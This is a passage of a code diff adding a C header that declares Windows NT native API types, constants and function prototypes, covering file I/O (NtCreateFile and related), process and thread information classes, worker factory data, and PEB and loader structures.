FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 +#endif // FILE_DIRECTORY_FILE + + +// +// Define the I/O status information return values for NtCreateFile/NtOpenFile +// + +#ifndef FILE_SUPERSEDED +#define FILE_SUPERSEDED 0x00000000 +#define FILE_OPENED 0x00000001 +#define FILE_CREATED 0x00000002 +#define FILE_OVERWRITTEN 0x00000003 +#define FILE_EXISTS 0x00000004 +#define FILE_DOES_NOT_EXIST 0x00000005 +#endif + + +#ifndef PIO_APC_ROUTINE_DEFINED +typedef +VOID +(NTAPI *PIO_APC_ROUTINE) ( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); +#define PIO_APC_ROUTINE_DEFINED +#endif // PIO_APC_ROUTINE_DEFINED + + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, // 2 + FileBothDirectoryInformation, // 3 + FileBasicInformation, // 4 wdm + FileStandardInformation, // 5 wdm + FileInternalInformation, // 6 + FileEaInformation, // 7 + FileAccessInformation, // 8 + FileNameInformation, // 9 + FileRenameInformation, // 10 + FileLinkInformation, // 11 + FileNamesInformation, // 12 + FileDispositionInformation, // 13 + FilePositionInformation, // 14 wdm + FileFullEaInformation, // 15 + FileModeInformation, // 16 + FileAlignmentInformation, // 17 + FileAllInformation, // 18 + FileAllocationInformation, // 19 + FileEndOfFileInformation, // 20 wdm + FileAlternateNameInformation, // 21 + FileStreamInformation, // 22 + FilePipeInformation, // 23 + FilePipeLocalInformation, // 24 + FilePipeRemoteInformation, // 25 + FileMailslotQueryInformation, // 26 + FileMailslotSetInformation, // 27 + FileCompressionInformation, // 28 + FileObjectIdInformation, // 29 + FileCompletionInformation, // 30 + FileMoveClusterInformation, // 31 + FileQuotaInformation, // 32 + FileReparsePointInformation, // 33 + FileNetworkOpenInformation, // 34 + FileAttributeTagInformation, // 35 + FileTrackingInformation, // 36 + FileIdBothDirectoryInformation, // 37 + FileIdFullDirectoryInformation, // 38 + FileValidDataLengthInformation, // 39 + FileShortNameInformation, // 40 + FileIoCompletionNotificationInformation, // 41 + FileIoStatusBlockRangeInformation, // 42 + FileIoPriorityHintInformation, // 43 + FileSfioReserveInformation, // 44 + FileSfioVolumeInformation, // 45 + FileHardLinkInformation, // 46 + FileProcessIdsUsingFileInformation, // 47 + FileMaximumInformation // 48 +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + + +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + + +typedef struct _FILE_STANDARD_INFORMATION { + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION; + + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + + +typedef struct _FILE_NAME_INFORMATION { + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; + + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; + + +typedef struct _FILE_POSITION_INFORMATION { + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; + + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + + +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + + +typedef struct _FILE_ALIGNMENT_INFORMATION { + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; + + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + + +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + + +typedef struct _FILE_END_OF_FILE_INFORMATION { + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; + + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + + +typedef struct _FILE_OBJECTID_INFORMATION +{ + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } ; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; + + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; + + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; + +typedef struct _FILE_LINK_ENTRY_INFORMATION { + ULONG NextEntryOffset; + LONGLONG ParentFileId; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION; + +typedef struct _FILE_LINKS_INFORMATION { + ULONG BytesNeeded; + ULONG EntriesReturned; + FILE_LINK_ENTRY_INFORMATION Entry; +} FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION; + + + +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, // 2 + FileFsSizeInformation, // 3 + FileFsDeviceInformation, // 4 + FileFsAttributeInformation, // 5 + FileFsControlInformation, // 6 + FileFsFullSizeInformation, // 7 + FileFsObjectIdInformation, // 8 + FileFsDriverPathInformation, // 9 + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer, + IN ULONG EaLength); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer, + IN ULONG EaLength); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryDirectoryFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN PUNICODE_STRING FileName OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDirectoryFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN PUNICODE_STRING FileName OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryVolumeInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList OPTIONAL, + IN ULONG EaListLength, + IN PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList OPTIONAL, + IN ULONG EaListLength, + IN PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length); + + +NTSYSAPI +NTSTATUS +NTAPI +NtReadFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwReadFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtWriteFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwWriteFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteFile( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteFile( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtFlushBuffersFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushBuffersFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeviceIoControlFile( + IN HANDLE FileHandle, + IN HANDLE Event, + IN PIO_APC_ROUTINE ApcRoutine, + IN PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer, + IN ULONG InputBufferLength, + IN PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwDeviceIoControlFile( + IN HANDLE FileHandle, + IN HANDLE Event, + IN PIO_APC_ROUTINE ApcRoutine, + IN PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer, + IN ULONG InputBufferLength, + IN PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtCancelIoFile( + IN HANDLE Filehandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelIoFile( + IN HANDLE Filehandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U ( + IN PWSTR DosPathName, + OUT PUNICODE_STRING NtPathName, + OUT PWSTR * NtFileNamePart OPTIONAL, + OUT PCURDIR DirectoryInfo OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Process functions + +#define GDI_HANDLE_BUFFER_SIZE 34 + +// +// Process Information Classes +// + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, // Note: this is kernel mode only + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum +} PROCESSINFOCLASS; + + +typedef struct _THREAD_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PVOID TebBaseAddress; + CLIENT_ID ClientId; + KAFFINITY AffinityMask; + KPRIORITY Priority; + KPRIORITY BasePriority; +} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; + + +// +// Thread Information Classes +// + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, // ?? + ThreadTimes, + ThreadPriority, // ?? + ThreadBasePriority, // ?? + ThreadAffinityMask, // ?? + ThreadImpersonationToken, // HANDLE + ThreadDescriptorTableEntry, // ULONG Selector + LDT_ENTRY + ThreadEnableAlignmentFaultFixup, // ?? + ThreadEventPair, // ?? + ThreadQuerySetWin32StartAddress, // ?? + ThreadZeroTlsCell, // ?? + ThreadPerformanceCount, // ?? + ThreadAmILastThread, // ?? + ThreadIdealProcessor, // ?? + ThreadPriorityBoost, // ?? + ThreadSetTlsArrayAddress, // ?? + MaxThreadInfoClass +} THREADINFOCLASS; + +// +// System Information Class for Nt*InformationWorkerFactory group of functions +// +typedef enum _WORKERFACTORYINFOCLASS +{ + WorkerFactoryTimeout, + WorkerFactoryRetryTimeout, + WorkerFactoryIdleTimeout, + WorkerFactoryBindingCount, + WorkerFactoryThreadMinimum, + WorkerFactoryThreadMaximum, + WorkerFactoryPaused, + WorkerFactoryBasicInformation, + WorkerFactoryAdjustThreadGoal, + WorkerFactoryCallbackType, + WorkerFactoryStackInformation, + MaxWorkerFactoryInfoClass +} WORKERFACTORYINFOCLASS, *PWORKERFACTORYINFOCLASS; + +typedef struct _WORKER_FACTORY_BASIC_INFORMATION { + LARGE_INTEGER Timeout; + LARGE_INTEGER RetryTimeout; + LARGE_INTEGER IdleTimeout; + BOOLEAN Paused; + BOOLEAN TimerSet; + BOOLEAN QueuedToExWorker; + BOOLEAN MayCreate; + BOOLEAN CreateInProgress; + BOOLEAN InsertedIntoQueue; + BOOLEAN Shutdown; + ULONG BindingCount; + ULONG ThreadMinimum; + + ULONG ThreadMaximum; + ULONG PendingWorkerCount; + + ULONG WaitingWorkerCount; + ULONG TotalWorkerCount; + + ULONG ReleaseCount; + + LONGLONG InfiniteWaitGoal; + PVOID StartRoutine; + PVOID StartParameter; + DWORD ProcessId; + SIZE_T StackReserve; + SIZE_T StackCommit; + NTSTATUS LastThreadCreationStatus; +} WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION; + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; + +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; // Should be set before call RtlCreateProcessParameters + ULONG Length; // Length of valid structure + ULONG Flags; // Currently only PPF_NORMALIZED (1) is known: + // - Means that structure is normalized by call RtlNormalizeProcessParameters + ULONG DebugFlags; + + PVOID ConsoleHandle; // HWND to console window associated with process (if any). + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; // Specified in DOS-like symbolic link path, ex: "C:/WinNT/SYSTEM32" + UNICODE_STRING DllPath; // DOS-like paths separated by ';' where system should search for DLL files. + UNICODE_STRING ImagePathName; // Full path in DOS-like format to process'es file image. + UNICODE_STRING CommandLine; // Command line + PVOID Environment; // Pointer to environment block (see RtlCreateEnvironment) + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; // Fill attribute for console window + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; // Name of WindowStation and Desktop objects, where process is assigned + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20]; + +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +// +// Process Environment Block +// + +typedef struct _PEB_FREE_BLOCK +{ + struct _PEB_FREE_BLOCK *Next; + ULONG Size; + +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + + +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; // Points to the loaded modules (main EXE usually) + LIST_ENTRY InMemoryOrderModuleList; // Points to all modules (EXE and all DLLs) + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + +} PEB_LDR_DATA, *PPEB_LDR_DATA; + + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; // Base address of the module + PVOID EntryPoint; + ULONG SizeOfImage; + 